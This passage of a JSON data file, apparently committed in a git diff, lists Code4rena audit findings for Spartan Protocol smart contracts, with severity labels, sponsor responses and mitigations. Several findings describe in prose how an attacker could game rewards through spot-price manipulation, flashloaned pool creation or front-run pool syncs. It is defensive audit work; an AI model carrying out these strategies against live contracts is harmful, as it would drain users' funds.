possible to withdraw almost all of it. - They redeem their LP tokens and gain a share of the profits ## Impact The reserve can be emptied by the attacker. ## Recommended Mitigation Steps Counting only the last 20 trades as a baseline for the dividends does not work. It should probably average over a timespan but even that can be gamed if it is too short. I think a better idea is to compute the dividends based on **volume** traded over a timespan instead of looking at individual trades. "}, {"title": "BondVault `BASE` incentive can be gamed", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/178", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "BondVault `BASE` incentive can be gamed"}, {"title": "Vote weight can be manipulated", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/176", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Vote weight can be manipulated"}, {"title": "BondVault fails if no SPARTA in DAO", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/175", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "BondVault fails if no SPARTA in DAO"}, {"title": "delisting bond assets does not remove from array", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/174", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "delisting bond assets does not remove from array"}, {"title": "DAO.setGenesisFactors sets wrong `erasToEarn`", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/173", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "DAO.setGenesisFactors sets wrong `erasToEarn`"}, {"title": "Missleading onlyDAO modifiers", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/172", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Missleading onlyDAO modifiers"}, {"title": "`calcAsymmetricValueToken` never used", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/170", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "`calcAsymmetricValueToken` never used"}, {"title": "SynthVault withdraw forfeits rewards", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/168", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `SynthVault.withdraw` function does not claim the user's rewards. It decreases the user's weight and therefore they are forfeiting their accumulated rewards. The `synthReward` variable in `_processWithdraw` is also never used - it was probably intended that this variable captures the claimed rewards. ## Impact Usually, withdrawal functions claim rewards first but this one does not. A user that withdraws loses all their accumulated rewards. ## Recommended Mitigation Steps Claim the rewards with the user's deposited balance first in `withdraw`. "}, {"title": "SynthVault deposit lockup bypass", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/167", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `SynthVault.harvestSingle` function can be used to mint & deposit synths without using a lockup. An attacker sends `BASE` tokens to the pool and then calls `harvestSingle`. The inner `iPOOL(_poolOUT).mintSynth(synth, address(this));` call will mint synth tokens to the vault based on the total `BASE` balance sent to the pool, including the attacker's previous transfer. They are then credited the entire amount to their `weight`. This essentially acts as a (mint +) deposit without a lock-up period. ## Recommended Mitigation Steps Sync the pool before sending `BASE` to it through `iRESERVE(_DAO().RESERVE()).grantFunds(reward, _poolOUT);` such that any previous `BASE` transfer is wasted. This way only the actual reward's weight is increased. "}, {"title": "SynthVault rewards can be gamed", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/166", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `SynthVault._deposit` function adds `weight` for the user that depends on the spot value of the deposit synth amount in `BASE`. This spot price can be manipulated and the cost of manipulation is relative to the pool's liquidity. However, the reward (see `calcReward`) is measured in BASE tokens unrelated to the pool. Therefore, if the pool's liquidity is low and the reward reserve is high, the attack can be profitable: 1. Manipulate the pool spot price of the `iSYNTH(_synth).LayerONE()` pool by dripping a lot of `BASE` into it repeatedly (sending lots of smaller trades is less costly due to the [path-independence of the continuous liquidity model](https://docs.thorchain.org/thorchain-finance/continuous-liquidity-pools)). This increases the `BASE` per `token` price. 2. Call `SynthVault.depositForMember` and deposit a _small_ amount of synth token. The `iUTILS(_DAO().UTILS()).calcSpotValueInBase(iSYNTH(_synth).LayerONE(), _amount)` will return an inflated weight due to the price. 3. Optionally drip more `BASE` into the pool and repeat the deposits 4. Drip back `token` to the pool to rebalance it The user's `weight` is now inflated compared to the deposited / locked-up amount and they can claim a large share of the rewards. ## Impact The cost of the attack depends on the pool's liquidity and the profit depends on the reserve. It could therefore be profitable under certain circumstances. ## Recommended Mitigation Steps Track a TWAP price of the synth instead, store the deposited synths instead, and compute the weight & total weight on the fly based on the TWAP * deposit amount instead of at the time of deposit. "}, {"title": "Unbounded iteration in Synth Vault", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/163", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "Unbounded iteration in Synth Vault"}, {"title": "Can accidentally lose tokens when removing liquidity from pool 2", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/161", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "Can accidentally lose tokens when removing liquidity from pool 2"}, {"title": "Synth: Can accidentally burn tokens by sending them to zero", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/159", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `Synth._transfer` function does not check if `recipient != 0`. Unlike standard ERC20, tokens can be accidentally burned this way. ## Recommended Mitigation Steps Prevent user errors by denying transfers to the zero address and forcing them to call `burn` instead. "}, {"title": "Pool: Can accidentally burn tokens by sending them to zero", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/158", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Pool: Can accidentally burn tokens by sending them to zero"}, {"title": "DAO approval amount too high for token", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/157", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "DAO approval amount too high for token"}, {"title": "DAO approval amount too high for BASE", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/156", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "DAO approval amount too high for BASE"}, {"title": "Synth: approveAndCall sets unnecessary approval", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/155", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Synth: approveAndCall sets unnecessary approval"}, {"title": "Pool: approveAndCall sets unnecessary approval", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/154", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Pool: approveAndCall sets unnecessary approval"}, {"title": "Pools can be created without initial liquidity", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/151", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The protocol differentiates between public pool creations and private ones (starting without liquidity). However, this is not effective as anyone can just flashloan the required initial pool liquidity, call `PoolFactory.createPoolADD`, receive the LP tokens in `addForMember` and withdraw liquidity again. ## Recommended Mitigation Steps Consider burning some initial LP tokens or taking a pool creation fee instead. "}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/147", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "Missing parameter validation"}, {"title": "Variable one in Utils.sol can be set to constant ", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/146", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle maplesyrup # Vulnerability details ## Impact Gas optimizations Does not affect the contract in any harmful way. Suggestions allow for smart contract gas optimizations. ## Proof of Concept According to Slither analyzer documentation (https://github.com/crytic/slither/wiki/Detector-Documentation#state-variables-that-could-be-declared-constant), the variable in contract Utils.sol called \"one\" or Utils.one can be set to a constant as it is considered a variable that does not change throughout the contract. Slither Detectors: constable-states: Utils.one (contracts/Utils.sol, lines#11) should be constant ------------ Code in contract: uint public one = 10**18; <---- can be constant as it does not change -------------- Console output (via Slither in JSON format): \"constable-states\": [ \"Utils.one (contracts/Utils.sol#11) should be constant\\n\" ], ## Tools Used Spartan Contracts Solidity (v 0.8.3) Slither Analyzer (v 0.8.0) ## Recommended Mitigation Steps 1. Clone repository for Spartan Smart Contracts 2. Create a python virtual environment with a stable python version 3. Install Slither Analyzer on the python VEM 4. Run Slither against all contracts "}, {"title": "Function purgeDeployer() should be declared external in BondVault.sol", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/145", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle maplesyrup # Vulnerability details ## Impact Gas Optimization This does not directly impact the smart contract in anyway besides cost. This is a gas optimization to reduce cost of smart contract. ## Proof of Concept According to Slither Analyzer documentation (https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external), there are functions in the contract that are never called. These functions should be declared as external in order to save gas. Slither Detector: external-function: purgeDeployer() should be declared external: BondVault.purgeDeployer() (contracts/BondVault.sol, lines#50-52) ----------------------- Console output (via Slither in JSON format): \"external-function\": [ \"purgeDeployer() should be declared external:\\n\\t- BondVault.purgeDeployer() (contracts/BondVault.sol#50-52)\\n\", \"hasMinority(uint256) should be declared external:\\n\\t- Dao.hasMinority(uint256) (contracts/Dao.sol#601-610)\\n\", \"ROUTER() should be declared external:\\n\\t- Dao.ROUTER() (contracts/Dao.sol#615-621)\\n\", \"UTILS() should be declared external:\\n\\t- Dao.UTILS() (contracts/Dao.sol#624-630)\\n\", \"BONDVAULT() should be declared external:\\n\\t- Dao.BONDVAULT() (contracts/Dao.sol#633-639)\\n\", \"DAOVAULT() should be declared external:\\n\\t- Dao.DAOVAULT() (contracts/Dao.sol#642-648)\\n\", \"POOLFACTORY() should be declared external:\\n\\t- Dao.POOLFACTORY() (contracts/Dao.sol#651-657)\\n\", \"SYNTHFACTORY() should be declared external:\\n\\t- Dao.SYNTHFACTORY() (contracts/Dao.sol#660-666)\\n\", \"RESERVE() should be declared external:\\n\\t- Dao.RESERVE() (contracts/Dao.sol#669-675)\\n\", \"SYNTHVAULT() should be declared external:\\n\\t- Dao.SYNTHVAULT() (contracts/Dao.sol#678-684)\\n\", \"greet() should be declared external:\\n\\t- Greeter.greet() (contracts/Greeter.sol#15-17)\\n\", \"setGreeting(string) should be declared external:\\n\\t- Greeter.setGreeting(string) (contracts/Greeter.sol#19-22)\\n\" ] ## Tools Used Spartan Contracts Solidity (v 0.8.3) Slither Analyzer (v 0.8.0) ## Recommended Mitigation Steps 1. Clone repository for Spartan Smart Contracts 2. Create a python virtual environment with a stable python version 3. Install Slither Analyzer on the python VEM 4. Run Slither against all contracts "}, {"title": "Missing zero address check on BondVault constructor", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/144", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Missing zero address check on BondVault constructor"}, {"title": "Strict equality used in claimForMemeber()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/143", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "Strict equality used in claimForMemeber()"}, {"title": "Missing check for already curated pool being re-curated", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/137", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact addCuratedPool() is missing a require(isCuratedPool[_pool] == false) check, similar to the one in removeCuratedPool to ensure that the DAO is not trying to curate an already curated pool which indicates a mismatch of assumption/accounting compared to the contract state. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L79-L87 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L93 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add require(isCuratedPool[_pool] == false) before setting isCuratedPool[_pool] = true. "}, {"title": "Missing check for token type/decimals in createPool", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/136", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Missing check for token type/decimals in createPool"}, {"title": "Incorrect event parameter logs zero address instead of WBNB", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/135", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The token argument used in CreatePool event emit of createPoolADD() should really be _token so that WBNB address is logged in the event instead of zero address when token == 0. Logging a zero address could confuse off-chain user interfaces because it is treated as a burn address by convention. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L60 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L49 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use _token instead of token in event emit. "}, {"title": "Number of curated pools can only be 10 at any point", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/134", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Number of curated pools can only be 10 at any point"}, {"title": "Members lose SPARTA tokens in removeLiquiditySingle()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/133", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact When a member calls removeLiquiditySingle() requesting only SPARTA in return, i.e. toBASE = true, the LP tokens are transferred to the Pool to withdraw the constituent SPARTA and TOKENs back to the Router. The withdrawn TOKENs are then transferred back to the Pool to convert to SPARTA and directly transferred to the member from the Pool. However, the member\u2019s SPARTA are left behind in the Router instead of being returned along with converted SPARTA from the Pool. In other words, the _member's BASE SPARTA tokens that were removed from the Pool along with the TOKENs are never sent back to the _member because the _token's transferred to the Pool are converted to SPARTA and only those are sent back to member directly from the Pool via swapTo(). This effectively results in member losing the SPARTA component of their Pool LP tokens which get left behind in the Router and are possibly claimed by future transactions that remove SPARTA from Router. ## Proof of Concept LPs sent to Pool: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L121 SPARTA and TOKENs withdrawn from Pool to Router: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L122 TOKENs from Router sent to Pool: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L126 TOKENs in Pool converted to BASE SPARTA and sent to member directly from the Pool: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L127 ## Tools Used Manual Analysis ## Recommended Mitigation Steps 1. BASE SPARTA should also be transferred to the Pool before swapTo() so they get sent to the member along with the converted TOKENs via swapTo() 2. Use swap(BASE) instead of swapTo() so that TOKENs are swapped for BASE SPARTA in Pool and sent back to ROUTER. Then send all the SPARTA from ROUTER to member. "}, {"title": "Potential reentrancy may lead to unexpected behavior", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/132", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Potential reentrancy may lead to unexpected behavior"}, {"title": "Lack of require() allows control flow to proceed leading to undefined behavior", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/131", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The _handleTransferIn() functions use a conditional check (_amount > 0) to execute the transfer-in logic of tokens. This should really be a require() to prevent zero amount transfers into the protocol which will allow subsequent logic to execute and potentially utilize any dust/stuck funds from earlier to be accounted to the sender. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L198-L210 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L202-L206 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L110-L114 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change condition check to a require() which will revert any transfers of zero tokens/funds. "}, {"title": "Missing isListedPool checks may lead to lock/loss of user funds", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/130", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact This isListedPool check implemented by isPool() is missing in many functions of the contract that accept pool/token addresses from users. getPool() returns the default mapping value of 0 for token that do not have valid pools. This lack of input validation may lead to use of zero/invalid pool addresses in the protocol context and reverts in the best case or burn/loss of user funds in the worst case. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L119-L133 Use of getPool() without isPool() check: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/BondVault.sol#L108 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L52 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L81 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L139 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L155 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L175 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L232 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L247-L248 Several usages of getPool() in Utils.sol and other places. ## Tools Used Manual Analysis ## Recommended Mitigation Steps Combine isPool() isListedPool check to getPool() so that it always returns a valid/listed pool in the protocol. "}, {"title": "Unnecessary redundant check for basisPoints", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/129", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The threshold check for basisPoints while a required part of input validation is an unnecessary redundant check because calcPart() does a similar upper bound check and the lower bound check on 0 is only an optimization. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L95 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L65 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove redundant check to save gas and improve readability/maintainability. "}, {"title": "Unused _token potentially indicates missing logic or is dead code", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/128", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact _token is conditionally set (to WBNB) but never used in addLiquiditySingleForMember() function unlike its usage in other functions. Such usage typically indicates missing/incorrect functionality. It looks like _handleTransferIn checks token == 0 again to consider BNB. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L83 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Recommend re-evaluating _token usage in this function, adding any missing logic or removing it for readability/maintainability. "}, {"title": "Missing check for toPool != fromPool", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/127", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact zapLiquidity() used to trade LP tokens of one pool to another is missing a check for toPool != fromPool which may happen accidentally. The check will prevent unnecessary transfers and avoid any fees/slippage or accounting errors. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L58-L71 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add toPool != fromPool as part of input validation. "}, {"title": "receive() function in Router allows locking of accidentally sent user\u2019s BNB", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/126", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "receive() function in Router allows locking of accidentally sent user\u2019s BNB"}, {"title": "Duplicated functionality in two functions is a maintainability risk", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/125", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "Duplicated functionality in two functions is a maintainability risk"}, {"title": "isMember and arrayMembers are only added to but never removed from", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/122", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "isMember and arrayMembers are only added to but never removed from"}, {"title": "Attacker can trigger pool sync leading to user fund loss", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/120", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact An attacker can front-run any operation that depends on the pool contract's internal balance amounts being unsynced to pool's balance on token/base contracts effectively nullifying the transfer of base/tokens for those operations. This will make _getAddedBaseAmount() and _getAddedTokenAmount() return 0 (because the balances are synced) from such operations. Impact: The affected operations are: addForMember(), swapTo() and mintSynth() which will all take the user funds to respective contracts but will treat it as 0 (because of the syncing) and thus not add liquidity, return swapped tokens or mint any synths to the affected users. User loses deposited funds to the contract. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L308-L312 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L261-L270 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L272-L281 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L216-L220 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L231 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L174-L175 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L279 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add access control to sync() function so that only Router can call it via addDividend(). "}, {"title": "Incorrect event parameter used in emit", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/119", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Incorrect event parameter outputAmount is used (instead of output) in the MintSynth event emit. outputAmount is a named return variable that is never set in this function and so will always be 0. This should instead be output. This will confuse the UI or offchain monitoring tools that 0 synths were minted and will lead to users panicking/complaining or trying to mint synth again. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L240 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L229 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L232 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Replace outputAmount with output in the emit. "}, {"title": "Missing zero-address check on recipient address in transfer", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/117", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "Missing zero-address check on recipient address in transfer"}, {"title": "withdraw() not defined (Router.sol#217)", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/110", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "withdraw() not defined (Router.sol#217)"}, {"title": "Old DAO continues to exist/function even after moving to a new DAO", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/107", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact If moveDAO() is executed after voting, the existing DAO contract continues to function as before whereas it should ideally cease to function/exist from the users\u2019 perspective or at least function as a clone of the new DAO by using the same addresses as it does. Scenario: moveDAO is executed to make DAO and BASE.DAO point to the new address. Existing DAO contract continues to function but all the other interfacing contracts (ROUTER, UTILS, DAOVAULT, BONDVAULT, SYNTHVAULT, POOLFACTORY, SYNTHFACTORY and RESERVE) use the updated DAO address as updated in BASE. At a minimum, this leads to undefined behavior and at worst an attack where the old DAOs (there could be many) are exploited because it still points to valid router, pool and vault contracts. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L451-L459 changeDAO: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/outside-scope/Sparta.sol#L189-L193 Use of BASE.DAO: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/BondVault.sol#L54-L57 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/DaoVault.sol#L32-L34 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L39-L41 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L41-L43 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L20-L22 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L20-L22 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L29-L31 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L35-L37 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/synthFactory.sol#L27-L29 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/synthVault.sol#L45-L47 Updated Getters: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L614-L684 Example uses of stale interface contract addresses _* instead of using Dao(DAO).* versions: _ROUTER: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L259 _BONDVAULT: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L281 _UTILS: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L205 _RESERVE: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L188 etc. ## Tools Used Manual Analysis ## Recommended Mitigation Steps At a minimum, all DAO public/external functions should check and revert if daoHasMoved or the design can even consider a selfdestruct to destroy the DAO contract once it has successfully handed over to the new DAO contract and all pending actions have been cleared. In the unlikely requirement of older DAO contracts continuing to exist, they should at least use addresses of interfacing contracts as reported by the new DAO which could have updated them. "}] \ No newline at end of file diff --git a/results/codearena_findings_20.json b/results/codearena_findings_20.json new file mode 100644 index 0000000..8f13dc6 --- /dev/null +++ b/results/codearena_findings_20.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/74", "labels": ["bug", "G (Gas 